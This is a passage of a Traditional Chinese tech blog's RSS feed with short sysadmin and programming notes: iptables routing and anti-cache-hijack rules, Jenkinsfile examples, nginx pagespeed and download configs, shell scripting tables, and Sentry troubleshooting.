&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 讓封包的出口與我們選擇的一致&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>之後可以用 &lt;code>iptables -L OUTPUT -t mangle&lt;/code> 看一下規則是否正確，再用 Wireshark 驗證連線是否真的分流。&lt;/p></description></item><item><title>htop 說明</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191114-htop/</link><pubDate>Thu, 14 Nov 2019 10:05:35 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191114-htop/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://peteris.rocks/blog/htop/" target="_blank" rel="noopener">htop explained&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Jenkinsfile 範例</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191106-228cdb1893fca91f0663bab7b095757c/</link><pubDate>Wed, 06 Nov 2019 17:29:46 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191106-228cdb1893fca91f0663bab7b095757c/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://gist.github.com/merikan/228cdb1893fca91f0663bab7b095757c" target="_blank" rel="noopener">Some Jenkinsfile examples&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="並行">並行&lt;/h5>
&lt;pre tabindex="0">&lt;code>#!/usr/bin/env groovy
pipeline {
agent any
stages {
stage(&amp;#34;Build&amp;#34;) {
steps {
sh &amp;#39;mvn -v&amp;#39;
}
}
stage(&amp;#34;Testing&amp;#34;) {
parallel {
stage(&amp;#34;Unit Tests&amp;#34;) {
agent { docker &amp;#39;openjdk:7-jdk-alpine&amp;#39; }
steps {
sh &amp;#39;java -version&amp;#39;
}
}
stage(&amp;#34;Functional Tests&amp;#34;) {
agent { docker &amp;#39;openjdk:8-jdk-alpine&amp;#39; }
steps {
sh &amp;#39;java -version&amp;#39;
}
}
stage(&amp;#34;Integration Tests&amp;#34;) {
steps {
sh &amp;#39;java -version&amp;#39;
}
}
}
}
stage(&amp;#34;Deploy&amp;#34;) {
steps {
echo &amp;#34;Deploy!&amp;#34;
}
}
}
}
&lt;/code>&lt;/pre>&lt;h5 id="when">When&lt;/h5>
&lt;pre tabindex="0">&lt;code>#!/usr/bin/env groovy
pipeline {
agent any
environment {
VALUE_ONE = &amp;#39;1&amp;#39;
VALUE_TWO = &amp;#39;2&amp;#39;
VALUE_THREE = &amp;#39;3&amp;#39;
}
stages {
// skip a stage while creating the pipeline
stage(&amp;#34;A stage to be skipped&amp;#34;) {
when {
expression { false } //skip this stage
}
steps {
echo &amp;#39;This step will never be run&amp;#39;
}
}
// Execute when branch = &amp;#39;master&amp;#39;
stage(&amp;#34;BASIC WHEN - Branch&amp;#34;) {
when {
branch &amp;#39;master&amp;#39;
}
steps {
echo &amp;#39;BASIC WHEN - Master Branch!&amp;#39;
}
}
// Expression based when example with AND
stage(&amp;#39;WHEN EXPRESSION with AND&amp;#39;) {
when {
expression {
VALUE_ONE == &amp;#39;1&amp;#39; &amp;amp;&amp;amp; VALUE_THREE == &amp;#39;3&amp;#39;
}
}
steps {
echo &amp;#39;WHEN with AND expression works!&amp;#39;
}
}
// Expression based when example
stage(&amp;#39;WHEN EXPRESSION with OR&amp;#39;) {
when {
expression {
VALUE_ONE == &amp;#39;1&amp;#39; || VALUE_THREE == &amp;#39;2&amp;#39;
}
}
steps {
echo &amp;#39;WHEN with OR expression works!&amp;#39;
}
}
// When - AllOf Example
stage(&amp;#34;AllOf&amp;#34;) {
when {
allOf {
environment name:&amp;#39;VALUE_ONE&amp;#39;, value: &amp;#39;1&amp;#39;
environment name:&amp;#39;VALUE_TWO&amp;#39;, value: &amp;#39;2&amp;#39;
}
}
steps {
echo &amp;#34;AllOf Works!!&amp;#34;
}
}
// When - Not AnyOf Example
stage(&amp;#34;Not AnyOf&amp;#34;) {
when {
not {
anyOf {
branch &amp;#34;development&amp;#34;
environment name:&amp;#39;VALUE_TWO&amp;#39;, value: &amp;#39;4&amp;#39;
}
}
}
steps {
echo &amp;#34;Not AnyOf - Works!&amp;#34;
}
}
}
}
&lt;/code>&lt;/pre></description></item><item><title>Jinja docx 樣板：在巢狀 for 中避免換行</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191029-jinja-docx-template-avoiding-new-line-in-nested-for/</link><pubDate>Tue, 29 Oct 2019 10:17:35 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191029-jinja-docx-template-avoiding-new-line-in-nested-for/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://stackoverflow.com/questions/45719062/jinja-docx-template-avoiding-new-line-in-nested-for#_=_" target="_blank" rel="noopener">Jinja docx 樣板：在巢狀 for 中避免換行&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>What the f*ck Python! 🐍 中文版</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191011-wtfpython-cn/</link><pubDate>Fri, 11 Oct 2019 14:32:20 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191011-wtfpython-cn/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/leisurelicht/wtfpython-cn" target="_blank" rel="noopener">What the f*ck Python! 🐍&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>再戰營運商快取：使用 iptables 對付快取劫持</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191007-fuck-cmcc/</link><pubDate>Mon, 07 Oct 2019 10:41:08 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191007-fuck-cmcc/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://v2c.tech/Article/FUCK-CMCC" target="_blank" rel="noopener">再戰營運商快取：使用 iptables 對付快取劫持&lt;/a>&lt;/li>
&lt;/ul>
&lt;h5 id="起因">起因&lt;/h5>
&lt;p>與移動的快取問題進行鬥爭要追溯到兩年前，那時因為移動竟然連 cnpm 的資料都進行快取。更離譜的是：移動的快取伺服器不但速度慢到堪比萬年王八跑馬拉松，還經常當機，導致我只想安安靜靜寫程式卻不得不面對一片鮮紅的報錯。&lt;/p>
&lt;h5 id="解決">解決&lt;/h5>
&lt;p>&lt;code>iptables -I FORWARD -p tcp -m tcp -m ttl --ttl-gt 20 -m ttl --ttl-lt 30 -j DROP&lt;/code>&lt;/p>
&lt;p>考慮到可能還真的有其他伺服器送來的正常封包 TTL 也在 20-30 的區間，應該再加一層判斷。對比移動的 302 劫持封包和正常的 302 跳轉封包後，發現移動的劫持封包狀態位包含 FIN、PSH、ACK，而正常的 302 跳轉封包通常不會這三個都有。&lt;/p>
&lt;p>因此在 iptables 規則中加入是否包含 FIN、PSH、ACK 的判斷：&lt;/p>
&lt;p>&lt;code>iptables -I FORWARD -p tcp -m tcp -m ttl --ttl-gt 20 -m ttl --ttl-lt 30 --tcp-flags ALL FIN,PSH,ACK -j DROP&lt;/code>&lt;/p>
&lt;p>這樣應能在丟棄劫持封包的同時，盡可能降低誤傷正常封包的可能性。&lt;/p></description></item><item><title>使用 Nginx 和 mod_pagespeed 自動將圖片轉換為 WebP 並輸出</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191007-serve-webp-on-the-fly-with-nginx-and-mod_pagespeed/</link><pubDate>Mon, 07 Oct 2019 10:35:22 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191007-serve-webp-on-the-fly-with-nginx-and-mod_pagespeed/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://nova.moe/serve-webp-on-the-fly-with-nginx-and-mod_pagespeed/" target="_blank" rel="noopener">使用 Nginx 和 mod_pagespeed 自動將圖片轉換為 WebP 並輸出&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="編譯-ngx_pagespeed">編譯 ngx_pagespeed&lt;/h4>
&lt;blockquote>
&lt;p>首先確保 Nginx 有 &lt;code>--with-compat&lt;/code> 編譯參數，這樣就不需要按照一些奇怪的教學讓大家從頭開始編譯 Nginx&lt;/p>
&lt;p>incubator: &lt;a href="https://github.com/apache/incubator-pagespeed-ngx.git" target="_blank" rel="noopener">https://github.com/apache/incubator-pagespeed-ngx.git&lt;/a>&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 切換到 nginx 原始碼目錄下開始設定編譯環境&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./configure --with-compat --add-dynamic-module&lt;span style="color:#f92672">=&lt;/span>../incubator-pagespeed-ngx
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 編譯 modules&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>make modules
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 將編譯好的 module 放到 nginx 目錄下&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo cp objs/ngx_pagespeed.so /etc/nginx/modules/
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 建立快取資料夾以存放自動轉換的圖片&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo mkdir -p /var/ngx_pagespeed_cache
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo chown -R www-data:www-data /var/ngx_pagespeed_cache
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">load_module&lt;/span> &lt;span style="color:#e6db74">modules/ngx_pagespeed.so&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># enable pagespeed module on this server block
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">pagespeed&lt;/span> &lt;span style="color:#66d9ef">on&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Needs to exist and be writable by nginx. Use tmpfs for best performance.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">pagespeed&lt;/span> &lt;span style="color:#e6db74">FileCachePath&lt;/span> &lt;span style="color:#e6db74">/var/ngx_pagespeed_cache&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Ensure requests for pagespeed optimized resources go to the pagespeed handler
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># and no extraneous headers get set.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#66d9ef">location&lt;/span> ~ &lt;span style="color:#e6db74">&amp;#34;\.pagespeed\.([a-z]\.)?[a-z]&lt;/span>{&lt;span style="color:#f92672">2}\.[^.]{10}\.[^.]+&amp;#34;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">add_header&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">location&lt;/span> ~ &lt;span style="color:#e6db74">&amp;#34;^/pagespeed_static/&amp;#34;&lt;/span> { }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">location&lt;/span> ~ &lt;span style="color:#e6db74">&amp;#34;^/ngx_pagespeed_beacon$&amp;#34;&lt;/span> { }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">pagespeed&lt;/span> &lt;span style="color:#e6db74">RewriteLevel&lt;/span> &lt;span style="color:#e6db74">CoreFilters&lt;/span>;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>其中最後一段（&lt;code>pagespeed RewriteLevel CoreFilters;&lt;/code>）表示啟用的最佳化方式，包含一些基礎的最佳化，例如：&lt;/p></description></item><item><title>是否有正規表示式可以檢測有效的正規表示式？</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191004-is-there-a-regular-expression-to-detect-a-valid-regular-expression/</link><pubDate>Fri, 04 Oct 2019 14:44:38 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20191004-is-there-a-regular-expression-to-detect-a-valid-regular-expression/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://stackoverflow.com/questions/172303/is-there-a-regular-expression-to-detect-a-valid-regular-expression" target="_blank" rel="noopener">是否有正規表示式可以檢測有效的正規表示式？&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>這是一個遞迴正則，許多正則引擎不支援。基於 PCRE 的引擎應該支援。&lt;/p>
&lt;pre tabindex="0">&lt;code>/
^ # start of string
( # first group start
(?:
(?:[^?+*{}()[\]\\|]+ # literals and ^, $
| \\. # escaped characters
| \[ (?: \^?\\. | \^[^\\] | [^\\^] ) # character classes
(?: [^\]\\]+ | \\. )* \]
| \( (?:\?[:=!]|\?&amp;lt;[=!]|\?&amp;gt;)? (?1)?? \) # parenthesis, with recursive content
| \(\? (?:R|[+-]?\d+) \) # recursive matching
)
(?: (?:[?+*]|\{\d+(?:,\d*)?\}) [?+]? )? # quantifiers
| \| # alternative
)* # repeat content
) # end first group
$ # end of string
/
&lt;/code>&lt;/pre>&lt;p>移除空白與註解後&lt;/p></description></item><item><title>用 Nginx 強制檔案下載</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190819-force-file-download-with-nginx/</link><pubDate>Mon, 19 Aug 2019 12:12:32 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190819-force-file-download-with-nginx/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://coderwall.com/p/3yb8vg/force-file-download-with-nginx" target="_blank" rel="noopener">用 Nginx 強制檔案下載&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;code>add_header Content-Disposition 'attachment;';&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">server&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">listen&lt;/span> &lt;span style="color:#ae81ff">80&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">server_name&lt;/span> &lt;span style="color:#e6db74">my.domain.com&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">location&lt;/span> ~ &lt;span style="color:#e6db74">^.*/(?P&amp;lt;request_basename&amp;gt;[^/]+\.(mp3))$&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">root&lt;/span> &lt;span style="color:#e6db74">/path/to/mp3/&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">add_header&lt;/span> &lt;span style="color:#e6db74">Content-Disposition&lt;/span> &lt;span style="color:#e6db74">&amp;#39;attachment&lt;/span>; &lt;span style="color:#f92672">filename=&amp;#34;$request_basename&amp;#34;&amp;#39;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nginx" data-lang="nginx">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">listen&lt;/span> &lt;span style="color:#ae81ff">80&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">server_name&lt;/span> &lt;span style="color:#e6db74">backup.baifu-tech.net&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">root&lt;/span> &lt;span style="color:#e6db74">/data/backup/rechargecent-mago&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">location&lt;/span> &lt;span style="color:#e6db74">/&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">auth_basic&lt;/span> &lt;span style="color:#e6db74">&amp;#34;baifu&lt;/span> &lt;span style="color:#e6db74">backup&lt;/span> &lt;span style="color:#e6db74">center&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">auth_basic_user_file&lt;/span> &lt;span style="color:#e6db74">/etc/nginx/ssl/htpasswd&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">autoindex&lt;/span> &lt;span style="color:#66d9ef">on&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">autoindex_exact_size&lt;/span> &lt;span style="color:#66d9ef">off&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">autoindex_localtime&lt;/span> &lt;span style="color:#66d9ef">on&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Shell 腳本學習筆記</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190807-mylxsw-growing-up-shell/</link><pubDate>Wed, 07 Aug 2019 15:14:08 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190807-mylxsw-growing-up-shell/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/mylxsw/growing-up/blob/master/doc/Shell%E8%84%9A%E6%9C%AC%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0.md" target="_blank" rel="noopener">Shell 腳本學習筆記&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="執行算術運算">執行算術運算&lt;/h3>
&lt;pre>&lt;code>val=`expr $a + $b`
&lt;/code>&lt;/pre>
&lt;h3 id="運算符">運算符&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>符號&lt;/th>
&lt;th>說明&lt;/th>
&lt;th>示例&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>!&lt;/td>
&lt;td>非運算&lt;/td>
&lt;td>[ ! false ]&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-o&lt;/td>
&lt;td>或運算&lt;/td>
&lt;td>[ $a -lt 20 -o $b -gt 20 ]&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-a&lt;/td>
&lt;td>與運算&lt;/td>
&lt;td>[ $a -lt 20 -a $b -gt 20 ]&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>=&lt;/td>
&lt;td>相等檢測&lt;/td>
&lt;td>[ $a = $b ]&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>!=&lt;/td>
&lt;td>不相等檢測&lt;/td>
&lt;td>[ $a != $b ]&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-z&lt;/td>
&lt;td>字串長度是否為 0，為 0 則回傳 true&lt;/td>
&lt;td>[ -z $a ]&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-n&lt;/td>
&lt;td>字串長度不為 0，不為 0 回傳 true&lt;/td>
&lt;td>[ -n $a ]&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>str&lt;/td>
&lt;td>檢測字串是否為空，不為空回傳 true&lt;/td>
&lt;td>[ $a ]&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-b&lt;/td>
&lt;td>檢測檔案是否是區塊裝置檔&lt;/td>
&lt;td>[ -b $file ]&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-c&lt;/td>
&lt;td>檢測檔案是否是字元裝置&lt;/td>
&lt;td>..&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-d&lt;/td>
&lt;td>檢測檔案是否為目錄&lt;/td>
&lt;td>[ -d $file ]&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-f&lt;/td>
&lt;td>檢測檔案是否為一般檔案&lt;/td>
&lt;td>[ -f $file ]&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-r&lt;/td>
&lt;td>檢測檔案是否可讀&lt;/td>
&lt;td>..&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-w&lt;/td>
&lt;td>檢測檔案是否可寫&lt;/td>
&lt;td>..&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-x&lt;/td>
&lt;td>檢測檔案是否可執行&lt;/td>
&lt;td>..&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-s&lt;/td>
&lt;td>檢測檔案是否為空&lt;/td>
&lt;td>..&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>-e&lt;/td>
&lt;td>檢測檔案是否存在&lt;/td>
&lt;td>..&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="特殊變數">特殊變數&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>變數&lt;/th>
&lt;th>含義&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>$0&lt;/td>
&lt;td>目前腳本的檔名&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>$n&lt;/td>
&lt;td>傳遞給腳本或函式的參數，n 表示第幾個參數&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>$#&lt;/td>
&lt;td>傳遞給腳本或函式的參數個數&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>$*&lt;/td>
&lt;td>傳遞給腳本或函式的所有參數，所有參數視為一個詞，例如 &amp;ldquo;1 2 3&amp;rdquo;&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>$@&lt;/td>
&lt;td>傳遞給腳本或函式的所有參數，每個參數視為一個詞，用雙引號包含，例如 &amp;ldquo;1&amp;rdquo; &amp;ldquo;2&amp;rdquo; &amp;ldquo;3&amp;rdquo;&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>$?&lt;/td>
&lt;td>上個命令的退出狀態，或函式的回傳值&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>$$&lt;/td>
&lt;td>目前 Shell 行程 ID；對 Shell 腳本而言，就是該腳本所在的行程 ID&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="posix-程式退出狀態">POSIX 程式退出狀態&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>狀態碼&lt;/th>
&lt;th>含義&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>0&lt;/td>
&lt;td>命令成功退出&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&amp;gt; 0&lt;/td>
&lt;td>在重導向或單詞展開期間（~、變數、命令、算術展開以及單詞切割）失敗&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>1 - 125&lt;/td>
&lt;td>命令不成功退出，各命令自行定義特定退出值含義&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>126&lt;/td>
&lt;td>命令找到但檔案無法執行&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>127&lt;/td>
&lt;td>命令未找到&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&amp;gt; 128&lt;/td>
&lt;td>命令因收到信號而終止&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="輸入輸出重導向">輸入輸出重導向&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>命令&lt;/th>
&lt;th>說明&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>command &amp;gt; file&lt;/td>
&lt;td>將輸出重導向到 file&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>command &amp;gt; file&lt;/td>
&lt;td>將輸出以追加的方式重導向到 file&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>n &amp;gt; file&lt;/td>
&lt;td>將檔案描述符為 n 的檔案重導向到 file&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>n &amp;raquo; file&lt;/td>
&lt;td>將檔案描述符為 n 的檔案以追加的方式重導向到 file&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>n &amp;gt;&amp;amp; m&lt;/td>
&lt;td>將輸出檔案 m 和 n 合併&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>n &amp;lt;&amp;amp; m&lt;/td>
&lt;td>將輸入檔案 m 和 n 合併&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&amp;laquo; tag&lt;/td>
&lt;td>將開始標記 tag 和結束標記 tag 之間的內容作為輸入&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h3 id="檔案包含">檔案包含&lt;/h3>
&lt;p>使用 &lt;code>.&lt;/code> 或 &lt;code>source&lt;/code> 包含檔案&lt;/p></description></item><item><title>`sentry.lang.javascript.processor: SoftTimeLimitExceeded()` 大量錯誤</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190725-getsentry-sentry-issues-4386/</link><pubDate>Thu, 25 Jul 2019 14:25:56 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190725-getsentry-sentry-issues-4386/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/getsentry/sentry/issues/4386" target="_blank" rel="noopener">Excessive Errors from &lt;code>sentry.lang.javascript.processor: SoftTimeLimitExceeded()&lt;/code>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://forum.sentry.io/t/counters-0-queue-is-rising-continuously/5655/6" target="_blank" rel="noopener">Counters-0 queue is rising continuously&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="sentrylangjavascriptprocessor-softtimelimitexceeded-大量錯誤">&lt;code>sentry.lang.javascript.processor: SoftTimeLimitExceeded()&lt;/code> 大量錯誤&lt;/h4>
&lt;p>mattrobenolt:&lt;/p>
&lt;p>我正打算提出這個。:) 很不幸，這個功能就是如此運作。如果它沒有用且只是浪費資源，可以很容易地全域關閉：在 &lt;code>sentry.conf.py&lt;/code> 設定 &lt;code>SENTRY_SCRAPE_JAVASCRIPT_CONTEXT = False&lt;/code>，或在 UI 內針對專案關閉。&lt;/p>
&lt;p>除此之外，沒有太多能做的，因為這個功能本質上是按設計運作。&lt;/p>
&lt;hr>
&lt;h4 id="counters-0-佇列持續上升">Counters-0 佇列持續上升&lt;/h4>
&lt;p>matt:&lt;/p>
&lt;p>你需要更多 worker 來處理這個佇列的負載。&lt;/p>
&lt;p>你也可以讓 worker 專門處理特定佇列，例如使用 &lt;code>sentry run worker -Q counters-0&lt;/code>。&lt;/p></description></item><item><title>Python Telegram Bot</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190711-python-telegram-bot/</link><pubDate>Thu, 11 Jul 2019 14:03:25 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2019/20190711-python-telegram-bot/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://zaoldyeck.medium.com/%E6%89%8B%E6%8A%8A%E6%89%8B%E6%95%99%E4%BD%A0%E6%80%8E%E9%BA%BC%E6%89%93%E9%80%A0-telegram-bot-a7b539c3402a" target="_blank" rel="noopener">（一）一步步打造 Telegram Bot&lt;/a>&lt;/li>
